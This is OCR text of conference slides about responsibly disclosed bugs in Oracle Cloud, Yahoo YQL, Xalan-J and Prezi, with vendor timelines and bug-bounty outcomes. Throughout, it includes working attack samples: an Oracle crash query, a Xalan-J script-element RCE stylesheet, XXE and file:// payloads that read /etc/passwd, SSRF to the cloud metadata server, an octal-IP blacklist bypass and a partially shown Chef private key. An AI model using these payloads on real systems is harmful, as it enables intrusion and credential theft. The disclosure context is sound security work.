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Me

* Nicolas Gregoire
 Agarri_FR on Twitter

e Bio is online:

http://insomnihack.ch/conferences/



Content

* No assembly code, no client-side stuff
 Hacker thinking

 So many FAILS

* And of course a few

* Plenty of quotes

« Some precise facts:

— Timeline
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ORACLE




Oracle in 2002

Unbreakable

ORACLE"



Oracle in 2014

Oracle CEO
Larry Ellison

“To the best of our knowledge, an Oracle
database hasn't been broken into for a
couple of decades by anybody [...] It's so
secure, there are people that complain”



Oracle in 2014

Oracle CSO
Mary Ann Davidson

“As Oracle runs Oracle Corporation on
Oracle products, Oracle has a built-in
incentive to write and deliver secure code.”



.. v, f Es E
- --‘ﬁ.""' Dy, g I e, e g . o

-" .‘. - 3
R "'. : -"_'T\- =, .
: e — T, . l_-? s .1- ',_‘.-,___‘_«-..4_‘ ey -_;,_

T e

e

The Database Clod fvice provides three storage levels: Datab‘.se S5, S20, and S50. These oﬁerings provide a dvelopment environment for

Application Express, Java, and RESTful Web Services. JEEEEUCRSIACI =T/ N1 g F-gt=To [=Te [Te g [=10 o FERET=TaVilo TR 11 o W g TOIRST @ Ml \\[=1 f=Telot =11 Yo ¢
administrative control.

Schema-based Isolation Applications in the Cloud Fully Managed Offering Storage

Each Service gets a dedicated Access Oracle Database All database management Choose between three

database schema schema from Application included, no customer direct storage levels; all other
Express or Java in the Cloud database management resources expand to serve

SQL and PL/SQL your needs

Use SQL and PL/SQL to RESTful Web Services Complete Environment

expand and extend your Applications outside the Includes full development

Cloud applications Oracle Cloud use RESTful tooling and deployment

Web Services for access over capabilities via Oracle
HTTPS Application Express (APEX)



Fully managed?

NLSRTL 11.2.0.3.0 Production
Oracle Database 11g Enterprise Edition 11.2.03.0 64bit Production
PL/SQL 11.2.0.3.0 Production
TNS for Linux: 11.2.0.3.0 Production

* Version 11.2.0.4.0 released in August 2013
 Even my old CVE-2013-3751 should work...



CVE-2013-3751

select * from dual where xmltype(gq'{

<aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCccccccceceee
dddddddddddddddddddddddddddddddddddddddddddddddd
eeceeceeecececeeceeceecceeccececececececeececeeceeceeeeeceeeeeeee
FEf e fffffffffffffffffff
hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh

}') like 'Own3d again';



S0L Workshop SAL Commands

select * from dual where
xmltype(q'{<azaaaasaaaaasaddaaddddaidasaddaaddddaaaaaasdaaaaaaabbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbcccccccccccccccccCCCCCCCCCCCCCCCCCOCT

kkkkkkkkkkkkkkkkkkkk foo="bar[a &1t; b]"/=}') like 'Own3d_again';

Service Unavailable

We're sorry, our service is temporarily unavailable.

Please try your request again at a later time.




Timeline

January 2012: Vulnerability found (fuzzing)
February 2012: Vulnerability reported to ZDI
March 2012: Vulnerability contracted
November 2012: Reported to Oracle by ZDI
July 2013: Patch published by Oracle

March 2014: Oracle's Cloud still not patched






Yahoo Query Language

« SQL-like syntax
- SELECT foo FROM bar WHERE x=123

e Features

- Access to 3rd-party data (craiglist.search, ...)

- Access to public Yahoo data (local.search, ...)

- Access to Yahoo services (ymail.messages, ...)

- Processing (xml, xslt, feednormalizer, ...)

- Near-arbitrary HTTP requests (uri.data, xmlpost, ...)



XXE everywhere

* Tables “xslt” (x2) and “feednormalizer” (x1)
 Open Data table definition (x1)

Use this Pipe

2 Get as a Badge My¥rsoo! | (4| Google E) et as RSS () Get as JSON  More options »

 Reachable f ,
eac a e rom' Content stolen via XXE... letc/hostnan® engine3.yql.bfl.yahoo.cometc/passwd:

root:x:0:0:root:/root:/bin/bash bin:c:1:1:bin™ mon:x:2:2:daemon:fsbin:/sbin/nologin
= adm:x:3:4:adm:/varfadm:/sbin/nelogin Ip:x:4:7:Ip:ivar/spool/Ipd:/sbin/nelegin

i Ya h oo P I pes sync:x:5:0:sync:/sbin:/sbin/nologin shutdown:x:6:0:shutdown:/sbin:/sbin/nologin
halt:x:T:0:halt:/sbin:/sbin/nelegin mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:fetc/news:/sbin/nelegin uucp:x:10:14:uucp:/var/speol/uucp:/skin/nelegin
operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin

E YQ L co n s o I e gopher:x:13:30:gopher:/ivar/gopher:/sbin/nelegin fip:x:14:50:FTP User:/varfftp:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin rpecuserx:29:29:RPC Service User:/var/lib/nfs:/sbin/nelegin

REST H t rf rpe:x:32:32:Portmapper RPC user::/sbin/nelegin rpm::37:37::/var/lib/rpm:/sbin/nelegin

> I n e ace ntp:x:38:38::/etc/ntp:/sbin/nologin xfs:x:43:43:X Font Server:fetc/X11/fs:/sbin/nologin
mailnullx:47:47::/var/spool/mgueue:/sbin/nelegin smmsp:x:51:51::/var/spoel/mqueue:/sbin/nologin
bind:x:53:53:Bind Sandbox:/:/sbin/nologin nsled:x:65:55:LDAP Client User:/:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nelegin vesa:x:69:69:virtual console memory
owner:/dev:/sbin/nolegin avahi:x:70:70:Avahi daemen:/:/sbin/nelegin tepdump:x:72:72::/:/sbin/nelogin
sshd:x:74:74:Privilege-separated SSH:/varlempty/sshd:/sbin/nologin
pcap: 7777 varfarpwatch:/sbin/nologin dbus:x:81:81:System message bus://sbin/nologin
postilx:x:80:89::/var/spool/postfix:/sbin/nelogin exim:x:93:93::/var/spool/exim:/sbin/nelegin
nobody:x:99:99:Nobody:/:/sbin/nelegin avahi-auteipd:x:100:101:avahi-auteipd:/var/lib/avahi-
autoipd:/sbin/nologin saslauth:x:499:499:"Saslauthd user":/var/fempty/saslauth:/sbin/nologin
yahoo:x:1000:100:Yahoo:/heme/yaheo:/usr/local/bin/push filo:x:1001:100:David Filo:fheme/file:/bin/bash




Dumb anti-SSRF blacklist

 Forbidden:

— Local and multicast IP addresses
— Non HTTP ports

 Easy to bypass using HTTP redirects
 Bug closed as WONTFIX :~(

“We are aware of this functionality on our
site and it is working as designed”



WONTFIX? Read that first!

» Basic:
- http://cwe.mitre.org/data/definitions/918.html
 Advanced:

- http://www.slideshare.net/d0znpp/ssrf-attacks-
and-sockets-smorgasbord-of-vulnerabilities

- http://razOr.name/other/zeronights-hackquest-
erssma-task-writeup/

- http://www.youtube.com/watch?v=eHSNT8vWLfc
- https://github.com/pwntester/RSA_RESTing



Timeline

Nov. 2013: 4 XXE bugs reported

Dec. 2013: All of them are patched

Jan. 2014: First Paypal transfer

Feb. 2014: Second Paypal transfer

Feb. 2014: Anti-SSRF blacklist bypass reported
Feb. 2014: Bypass closed as WONTFIX




Xalan-J-

- XSLT
Apache Software Foundation




JAXP >=1.3

.+ FEATURE_SECURE_PROCESSING=TRUE

* Instructs JAXP-compliant XML parsers to
behave in a secure fashion

- XSLT extension functions are disabled (RCE)
- DTD are forbidden (XXE, XEE)
- Limitations on DOM and SAX Parsers (DoS)



Xalan-J and JAXP

“Xalan-Java applies the following limits when
the secure processing feature is set to true:

— extension functions and extension elements are
disabled

— parsers created by the XSLT processors will also
have the secure processing feature set to true”



First shoots

» Java bridge (builtin):

- '{http://xml.apache.org/xalan/java/java.util. Date}new’ can not be invoked when
the FEATURE _SECURE_PROCESSING feature is set to true FAIL!

* File creation (builtin):

— Use of the extension element ‘redirect:write'is not allowed when the secure
processing feature is set to true FAIL!

My own extensions (Apache BSF + Rhino/Jython/Xalan-J/...):

- Use of the extension element ‘pwn:elem’ is not allowed when the secure
processing feature is set to true FAIL!

- Extension function: '{MyPwnj}func' can not be invoked when the
XMLConstants.FEATURE _SECURE_PROCESSING feature is set to true FAIL!



Recap

» Xalan-J 2.7.1 (latest)
« SECURE_PROCESSING is set to TRUE
* In $CLASSPATH

- Apache Bean Scripting Framework

- At least one scripting language

 May be available: Rhino, Jython, ...
« Always available: Xalan-J (the initial vector :-)

e Can't call extensions functions nor elements



Recap

e Xalan-J 2.7.1 (latest)
« SECURE_PROCESSING is set to TRUE
e In $SCLASSPATH

- Apache Bean Scripting Framework

- At least one scripting language

 May be available: Rhino, Jython, ...
 Always available: Xalan-J (the initial vector :-)

e Can't call extensions functions nor elements



So DON'T call me, maybe?

* Don't call anything from your XSLT stylesheet

* Do everything in <xalan:script>
- Define functions and call them
- Or use the “src” attribute (if outbound access)

* Full blown RCE!



PoC #1

<xsl:stylesheet xmins:xsl="http://www.w3.0rg/1999/XSL/Transform™"
xmins:xalan="http://xml.apache.org/xalan"
xmins:foo="bar" version="1.0">
<xalan:component prefix="foo">
<xalan:script lang="(xslt | jython | ...)">
<I[CDATA]

Whatever you want to execute

11>

</xalan:script>
</xalan:component>
</xsl:stylesheet>



PoC #2

<xsl:stylesheet
xmins:xsl="http://www.w3.0rg/1999/XSL/Transform™"
xmins:xalan="http://xml.apache.org/xalan™
xmlins:foo="bar" version="1.0">
<xalan:component prefix="foo">
<xalan:script
lang="(xslt | jython | ...)"
src="http://[somewhere/woops.png” />
</xalan:component>
</xsl:stylesheet>



Xalan-J (in)secure mode

 Even if Apache BSF isn't available...

- Leak of Java properties via system-property()

- Unrestricted output properties

 SSREF, partial file read (xalan:entities)
e Call to arbitrary constructors (xalan:content-handler)



Timeline

 March 2008: Ticket #2435 (output properties)

 August 2013: RCE bug found during a pentest

* August 2013: Detailed report sent to ASF

* Sept. 2013: Fwd by ASF to the Xalan-J team

* Feb. 2014: Still no patch, add oCERT to the loop

 March 2014: oCERT coordinated disclosure
CVE-2014-0107



Mark Thomas, ASF Sec Team

“If you do mention the lack of response
from the Xalan-J team (and | can
understand why you may wish to

mention it) please

rather than the
ASF as a whole.”



.....




What is Prezi?

 Zooming presentation software

- Cloud-based
- Uses Flash >=11.1

 Bug bounty

- Started in October 2013
- http:/lprezi.com/bugbounty/



Two editors

* Online web application (FREE)

- Allows to create and edit presentations from a browser
- Interacts with a bunch of “*.prezi.com” servers

* Client-side application (PRO)
- Allows to work offline and selectively sync with the cloud
- Out of scope (no Pro version at that time)



b |
O Present 4 Undo @~ B | Saved at 1000 [A' ﬂ

Frames & Arrows

Title | Subtitle  Body
More tejxt!

@®some basic text




Basic I/O

 Setup Burp Suite as a proxy

 Connect to the site

 Create an empty presentation
 Add a simple text field

« Save the presentation

 Review Burp logs



Basic I/O

e Saving the presentation sends a POST request to
xxx.static.prezi.com

» Parameters

- Numerous cookies
- One single POST parameter
- Name = “b64%5Fzipped%5Fxml%5Fcontent”

« Some XML data!!! Love it!!
- XML = zlibDecompress(base64Decode(uriDecode(VALUE)))



“ Params T Headers T Hex T Prezi XML ]

"POST /presentation/ooh8ys746fan/ HTTP/ L. 1

- Host: 090l.static.prezi.com

. User-Agent: Mozilla/5.0 (¥ll; Ubuntu; Linux i636; rv:25.0) Gecko/Z01l00101 Firefox/25.0

Aocept: text/html,application/xhtml+xml, applicaction/xml;q=0.9, %/ *;q=0.8

Accept-Language: en-U3,=en;q=0.5

Aocept-Encoding: gzip, deflate

Cookie: csrftoken=fIeiiSlbhed7dllfcideciaifas0cTiar

prezi-auth=.eJxdTNcOwzld BefSWUTzaM5ITgglIQ21L01 jdedgqetEcoo iHOnTEWIThGHSMDN T - NNk UNHK 7 IGp ZAcH-2veSdz- e TSSEmt XCwth
DcRILpvaFPAswBEpxhZ EEPGHUISyET LhiwEVemUSwVowd -t INdD4 ] kdmZJalPefNSZITnsA6Tse A3 el Bh4zERQ94a4zENoS5r XZKOEE 17 gqmlCT
WZIbgOnDETZSGILIoUTtDSathGmlLlsJITSAVEOEIFuT U waEQlclechanQyESPRyKrElptttStKSKrKVjGEa v1XzgPE5-8vT-8PD-STENCST
FTi3pliPnwlEFnl 6Joipp0FaylUrDgllio 4BZeMldalpilLz0ySlqacEvddvsSe VISSy. BXFSOA.5cilAAle S-3HVOy1TMweMOVILIM;
optimizelySeqments=%T7B5 22 L7217 112752253 A% 2 2direct s 2520522 172 17717252253 A% 22nones 22520522 1719186305 2253A%22alses2
ZHIZCEZZ2172118535%22%3A%22€F%225%7D; optimizelyEndUser Id=oeul385077373093 0. L3£780027789202703 ;
optimizelyBuckets=%7E%70; utma=I57535€50.73E€942363.1385077375.1385158145.1385162823.4;  utmc=I57535650;

_ utmzE=I5T75356590.1385077375. 1. L. utmesr=(direct) |utmoon= (direct) | utmemd= (nonej ;

_ar v4=04MVIWNHOSEUPGCCSIJLLHEFS3AZ013 1121%3 A2 15 7CCCHI ZRMRSHNFLSFAPAWPOOZS3AZ0 LI 112 153 A IS TCENZ Y7 UFZNSFDILOQUI AVWOGSS
ACOL311Z 1538125 TOEZPAVINWTZAVSLIT3 PN THATJS3AZ0L3 11215348,  utmv=2575356590. | l=LicenseType=FUBLIC=1;
optimizelyCustomEvents=%7E%220eul3B5077373093r0. 136780027 78202703%22%3A%5B%22collabmodalelicknexts22%5D% 7D
Connection: keep-alive

Beferer: http://prezi.com/bin/loader-38696.swf/ [[DYHNAMIC]]/ 1

Content—-Type: application/x-www—form—urlencodsd

¥ _PREEI: trus

AUTHORTZATION: MAC id="", ts="13851£7050", nonce="MdHsocMYE'",

eXt="eyIwTXlshiFRKEZ1loniphl 4i0i A LCAIAX N 1o l9p ZC T IDgwo DM OSwg In lenZp Y2 Uididic3iPvenF nZs Is ICIwenWV s ZWSOTY KRR ZS£aWoic
1AvMDOSHTEINDksICIshZdfalBpljogdHI L 28 wg TtlsaWlWudFS0eXEl Tjog InsaWWVudF 93 cml 02539,

mac="mzd4BCLoeP+vXIES kolDezsyv+rgEvE+VolvnlbhoUmgoUyCo="

Content-Length: ZE75

hEd%5F zippeds SFamliSFoontent=e)zdWmlvI0Ts/ hwD/ g8bhHtEeP4 k7wl VoTWebhe IkLEZBE I nogyBTkTuI Z0p TS SqEXPS /3% 2huSFJovkiWluoT
B s cm 20 A E o = :;r+efSDSpYEfDrQ%2hEuLFEHL%szEijfEiuIsthTEn%FthHeBIHEgEHgsHvGBI?HEAf%GEUhjE%SCTzkamw
HAOIEivESDMZST14omeC LEWyWIaV IS I XEFhFVny SRt av I uBdTiLhTs0z0Do 3 r EVOqrnZ SMHIWichinesZh LkkeO4VHNETS TI L2 JhtehraiLH1ETE
- PHEfahFELO%ZheskEmtXCaqbhUoenTiZr 72 aaPhVADMSSMZEVTITEr U4/ almtal ulpyngXSr Hk Y ZmzMenGWEwDN KV OEEVEMVI kK35 ZhalHayMVEExusShF
ZLPJIhnEUElZsmvc UNWE LlacwiMNsSBNvEIQEEJAEZ ZHEA 1F TAS ZhhEES 1Ol Zbb OJEnEQiEcgk Xihmelh 7S IVHDUE x Z00yvObgMn lPSwRehr ORo KU
EiMaylMEiD 1 2géfZHScC QD P QrEfLE e XY08kAEZ IZpVo lsSvigR e JFeSGVPIRREicBut i 8E3 g ZhjvlsPirSHIqi BEOBShe Z4 v XS 2 EESX 22 u

L

-



Burp magic

e “PUSH” extension

- Used when the presentation is saved

- Add an editor tab if the parameter is detected
- Decode its value and display it

- Re-encode if the value was modified

e “PULL” extension

- Used when an existing presentation is opened
- Similar to previous one, but read-only



' A ——
(o [ poroms | readers | e

~ <zuiprezi>
R <yersion>T7</version>
“Zui-table>
<zettings:>

cautoplay:
<de lay>4000</de lay>
</autoplay>

<bounds «X="-gE£73.137984254578" w="—gpEgd48.£9177352234" width="1334c.2759E¢
<aspectratioroff</aspectratio>
< languagess>
<languageren</ language>
</ langquages:>
<mode type="normal"/ >
</gettings>
<object id="0 Z4305637" type="button" x="-I4.446I210732Z238907" y="0" ="0"
ctype=circle</types
“gizex
«<w>B00</w>
<h>800</ h>
</gizex»




Burp magic

e Life is now much easier

- Thanks to the Burp extensions

* Let's do some XML hacking!



XML hacking

* Try to add a non malicious DTD => OK
 Try to add an external XML entity => KO
* Try to bypass their blacklist (UTF-8, ...) => K

 FAIL! Let's try something else...
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Frames & Arrows nsert Themes

Il
L]

* Share - * Exit

~ + Photographic

¥ Symbols & shapes...

ear ||... Q

YouTube video...
Add Background Music...

Select Path Step to Add Voice-over

# [Edit Path

From file (PDF, videao)...
From My Collection...

oDe 0O&G

o More t

PowerPoint...

i

®some basic text

109 )A€




<width=>390.9237784827681</width>
<p>
<text>< | [CDATA[Some text]]=</text>
</ p>
<layout>
<layout-elemsnt role="hbody" parent—id="D_E43DEEE?"f}
</ layouts>
</object>
<pbject id="0 B8083&9" type="image" x="391B.6162206265653" y="2203.21859B8433113"
<gource w="159Z" h="12g8" bt="750.89" L1="1ZZ5.25">
E43014691
zurlxhttp://0103.static.prezi.com.s3.amazonavs. com/media/a/3/1/1190=0927293
</sources>
<gourcelrlzcar.swi</sourcelrl>
</object>
</zui-table>
<path>
= el
<eagle o="0_Z43089&37"/>
</8>
= el
<gagle o="I5 4"/>
</8>
</paths»




Loading a symbol

Modify <url> to point to a file you control
The web editor will load the remote resource
But everything is done client-side FAIL!

Maybe we can find a way to instruct Prezi
servers to retrieve our external content

For example using the exporting features



« Undo | » || A [

Frames & Arrows

#* Share -

41 Share prezi...

Present remotely

o
g

Share on Facebook...
# Edit Path

More text!

@ sSome basic text




Export as PDF

 Library “AlivePDF” is used

AlivePDF is an open-source ActionScript 3 (Flash, Flex, AIR) PDF generation library ported from the FPDF PHP project.
It allows you to generate PDF's 100% client-side.

AlivePDF is licensed under the MIT License. In other words, you can do whatever you want with it @
* Everything is done client-side :-(
 FAIL! Let's try something else...



[

Frames & Arrows

some-basic-text-gzhuOnwatvyy.zip

: https://s3.amazonaws.com

.t &

Insert Themes

54,5 Mo)

# Edit Path
1 Vous avez choisi d"ouvrir :
qui est un Fichie
2 |Gt
N .

Que doit Faire Firefox avec ce fichier ?

"Ouverture de some-basic-text-gzhuOnwatvyy.zip | mmmmm—|

= - * Share - »®  Exit

+a Share prezi...
B Present remotely
g

Share on Facebook...

= Download as PDF
Finished all pages
Save PDF

) Quvrir avec [ Gestionnaire d'archives (défaut)

3 |0 More text

@ Enregistrer le fichier

[ Toujours effectuer cette action pour ce type de fichier.

Annuler |

DK

p—
¥ Download as portable prezi




Export as Portable Prezi

* Got a hit on my server!
 User-Agent: “Python-urllib/2.6”

* When the export is finished, a ZIP archive
including any external resource is available
on Amazon S3




https:/fprezi.com

https://fconversionservice prezi.
https:fjconversionservice.prezi.
https:/fconversionservice prezi.
https:/fconversionservice prezi.
https:/fconversionservice prezi.
https:/fconversionservice prezi.
https:/fconversionservice prezi.
https:/fconversionservice prezi.
https://prezi.com

https://prezi.com

POST
OPTIONS
POST
OPTIONS
POST
OPTIOMNS
POST
OPTIOMNS
POST
POST
POST

_ /backend/exportjeqS4nnacdlzmyzi
fapifv 1/)ob]
/apifv1fjobf
fapifvljjob/715693a5-a3d8-4200-851a-1f53c0d04al2)/
fapifjvljjob/715693a5-a3d8-4200-851a-1f52c0d04al12/
fapifvljjob/715693a5-a3d8-4200-851a-1f53c0d04al12/
fapifvljjob/715693a5-a3d8-4200-851a-1f53c0d04al12/
fapifvljjob/715693a5-a3d8-4200-851a-1f53c0d04al12/
fapifv1jjob/715693a5-a3d8-4200-851a-1f53c0d04a12/
(desktop/log_event/download_prezif

fdesktop/log_event/download _prezif

[Request H

H Headers T Hex ]

HTTP/L1l.1 Z00 QK

Content-Lancuage: en

Content—-Type: application/json
Date: Fri, Z2Z Now Z013 00:0Z2:11 GHT
DEervVer : ngx_upenrest?fl.E.E.E

Vary: Accept-Lancuage, Cookie
K-Frame-Options: SAMEORIGII
Content-Length: 779

Connection: keep—-aliwve

{"conversion token": {"url": "https://conversionservice.prezi.com/api/vl/job/", "headesr": "MAC id=




https:/jprezi.com POST
https:ffconversionservice.prezi.com OPTICMS
https://conversionservice.prezi.com POST
https:ffconversionservice.prezi.com OPTIOMNS
https:ffconversionservice.prezi.com POST
https:ffconversionservice.prezi.com OPTICMS
https:ffconversionservice.prezi.com POST
https:ffconversionservice.prezi.com OPTIOMNS
https:ffconversionservice.prezi.com POST
https:/jprezi.com POST
https:jjprezi.com POST

/backendfexportfeqS4nnaodlzmyzip/

fapifv1jjobf

/apifvljjob/
fapifvlfjobf715693a5-a3d8-4e00-851a-1f53c0d04alzy/
fapifvlfjobf715693a5-a2d8-4e00-851a-1f53c0d04alzy/
japijv1/job/715653a5-a3d8-4e00-851a-1f53c0d04alzy
fapipvlfjobf715693a5-a3d8-4e00-851a-1f53c0d04alzy
fapifvlfjobf715693a5-a3d8-4e00-851a-1f53c0d04alzy/
fapifvlfjobf7156932a5-a2d8-4e00-851a-1f53c0d04alzy
Jdesktopflog_event/download prezif
jdesktopflog_event/download prezif

Request

_H Headers T Hex ]

HTTR/ 1.1 200 QK
Access—-Control-Allow-Credentials: true
Aooess—-Control-A1llow-Origin: https://prezi.com
Cache-Control: max-—-age=0

Content-Security-Policy-Feporct-only: script-sro 'none'; img-sro 'nonese'; media-sro 'none'; style-=

Content-Type: application/ijson

Date: Fri, 22 MNowv 2013 00:0Z2:33 GMNT
Expires: Fri, ZZ MNow 2013 00:0Z:33 GHMT
Last-Modified: Fri, ZZ Now Z013 00:02:33 GMT
Server: ngx_npenrest?fl.z.ﬁ.ﬁ
Content-Length: 241

Connection: keep-alive

"success": truse, "format'™: "exporto™

{"stapus": 5,

"arl'™: "hrttps:// /=853 . amazonawvs.com/01l03 . static.p




Python urllib

» Accessing local files is tempting

- But unsafe redirects are not supported
e No HTTP redirect from http:// to file://

 Scanning internal networks is possible

- But forbidden by the bounty rules
- Btw, there's no internal network

 FAIL! Let's try something else...



Keep It Simple, Stupid

Point to a local file
— No HTTP redirect
Export as Portable Prezi

Open the ZIP
Browse to “data/content/repo/[RSRC _ID]”



nagios:x:109:118::/var/lib/nagios: /bin/false
stunnel4:x:110:119:stunnel: /var/run/stunneld: /bin/false
publisher:x:1018:100:Prezi Publisher: /home/publisher: /bin/bash

L BN B Bl B
/mzagon: /bin/bash

zsellera:x:1024 NP0 :Attila ZSELLER:¥ : /bin/bash




PoC

<object>
<source>
666031337
<url>file://letc/passwd</url>
</source>
<sourceUrl>blabla.swf</sourceUrl>
</object>



Prezi's feedback

We finished our investigation [...] and we
think that with some hacking

e.g. an attacker would be able to gain
access to some critical credentials,
therefore [...] we would like to reward you
with a bounty.



Prezi's actions

o Setup a white-list
- Only URL matching “http://” are authorized

* No additional network filtering

- But no internal networks reachable from AWS



Recap

URL

— Fully controlled by the attacker
- Stored server-side in a <zuiprezi> document

Content

- Retrieved with Python urllib 2.6
— Stored in a publicly reachable ZIP archive

Limitations

- Provided URL must use the “http://” scheme
Processing

- Done on Amazon EC2



This export feature still has a huge hole

Any idea?




Hint #1

« RFC 3927
 Describes the 169.254/16 network

- Dynamic Configuration of IPv4 Link-Local Addresses

- “IPv4 Link-Local addresses [...] are only used where
stable, routable addresses are not available (such as on
ad hoc or isolated networks)”



Hint #2

» Using AWS EC2 or OpenStack is a key factor
« Auto-scaling is important too

e Links

- http://docs.aws.amazon.com/AWSEC2/latest/UserGuide
|AESDG-chapter-instancedata.html

- http://docs.openstack.org/admin-guide-
cloud/content/section_metadata-service.htmi



169.254.169.254

Making o new friend
feels good

Your new friend ;-)

 Metadata Web server, used by a VM to
retrieve its own instance-specific data

- [latest/meta-data/hostname (AWS)
- lopenstack/latest/meta_data.json (OpenStack)



Typical auto-scaling workflow

* Trigger a scaling threshold
e Start a new VM instance

» After booting, the VM fetches its own user-data

- Usually a shell script
- Located at http://169.254.169.254/latest/user-data/
e Script execution

- Get latest configuration files and source code
- Download and setup everything needed
- Integrates a pool of VM



Prezi headshot

* Uses the SSRF vulnerability to retrieve the
startup script stored at /latest/user-data/ on
the metadata server

 Bash script (150+ lines)

— Creates critical files

« [etc/chef/client.rb
 /etc/chef/validation.pem
» /etc/chef/encrypted _data bag secret



Prezi headshot

letc/chef/client.rb
chef_server_url "https://api.opscode.com/organizations/prezi"
validation_client_name "prezi-validator”

etc/chef/validation.pem

----- BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAQO9U/TBxe]...JiIRLS06sJTIJMOE6RCk6qZgRxM7UCbBw=
----- END RSA PRIVATE KEY-----

letc/chef/lencrypted_data_bag_secret
gqrnkG+M/t/1/3KhCzRNEIMBL]...]JlohHg2lil/P8fS21aZJkXY mHyKdMJ2go=



Chef?

» According to Wikipedia

- “Chef is a configuration management tool [...] used to
[...] can integrate with
cloud-based platforms such as Rackspace and Amazon EC2 to
automatically provision and configure new machines.”

- http://len.wikipedia.org/wiki/Chef_(software)

» According to Chef documentation

- “Anyone in possession of a client’s private key can do anything on your
Hosted Chef account that the client is authorized to do, so

7

- http://[docs.opscode.com/manage_server_hosted_clients.html



Prezi's feedback

[...] this exploitation has the
as your previous local file access,
and [...]
your submission gave some nice ideas
where to improve ourselves, therefore we
would like to offer you for this issue
as well. Congratz! :)



Prezi's actions

Add a black-list

— Private IP addresses are forbidden (using IPy)

 Impedance mismatch? Yes, using octal format!
 Bypass: 0251.0376.0251.0376

Detect and manage HTTP redirects
- Black-list applied to the final destination
Chef secrets moved to the AMI itself

- Referenced from the user-data script
- Readable only by root

Renewal of every Chef key
- Wasn't an easy step



Timeline

Bug #1 Bug #2

Dec 3rd: bug reported

Nov 24th: bug reported Dec 3rd: 1st fix (IP validation) deployed
Nov 25th: fix deployed Dec 4rd: 2nd fix (no redirect) deployed
Nov 31st: bounty awarded Dec 18th: bounty awarded

Dec 17th: wire transfer received Dec 27th: wire transfer received

A few hours between notification and fix!
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Conclusion

| earned
And it was fun!



Conclusion

e Oracle

- Very fragile XML parser (did | spoke about XSLT?)
- Do not patch their own production systems

e Yahoo

- Difficulties to reproduce bugs (but money is OK)
- May be pwned because of the anti-SSRF bypass

- Xalan-J
- Hard to convince, many thanks to oCERT + ASF Sec Team
* Prezi

- Awesome security team (look for their blog posts)
- I'll try to challenge them again!
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